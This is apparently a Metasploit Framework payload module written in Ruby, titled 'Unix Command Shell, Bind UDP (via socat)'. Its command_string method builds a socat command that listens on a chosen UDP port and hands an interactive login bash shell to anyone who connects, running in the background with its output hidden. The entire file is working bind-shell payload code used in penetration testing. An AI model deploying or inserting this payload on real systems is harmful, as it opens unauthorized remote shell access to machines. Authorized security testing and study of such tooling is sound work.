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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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module MetasploitModule
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  CachedSize = 70
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  include Msf::Payload::Single
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  include Msf::Sessions::CommandShellOptions
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  def initialize(info = {})
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    super(merge_info(info,
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     'Name'          => 'Unix Command Shell, Bind UDP (via socat)',
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     'Description'   => 'Creates an interactive shell via socat',
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     'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
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     'License'       => MSF_LICENSE,
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     'Platform'      => 'unix',
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     'Arch'          => ARCH_CMD,
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     'Handler'       => Msf::Handler::BindUdp,
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     'Session'       => Msf::Sessions::CommandShell,
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     'PayloadType'   => 'cmd',
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     'RequiredCmd'   => 'socat',
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     'Payload'       =>
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       {
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         'Offsets' => { },
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         'Payload' => ''
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       }
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          ))
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    register_advanced_options(
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      [
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        OptString.new('SocatPath', [true, 'The path to the Socat executable', 'socat']),
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        OptString.new('BashPath', [true, 'The path to the Bash executable', 'bash'])
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      ]
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    )
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  end
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  #
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  # Constructs the payload
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  #
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  def generate(_opts = {})
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    vprint_good(command_string)
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    return super + command_string
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  end
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  #
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  # Returns the command string to use for execution
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  #
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  def command_string
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    "#{datastore['SocatPath']} udp-listen:#{datastore['LPORT']} exec:'#{datastore['BashPath']} -li',pty,stderr,sane 2>&1>/dev/null &"
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  end
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end
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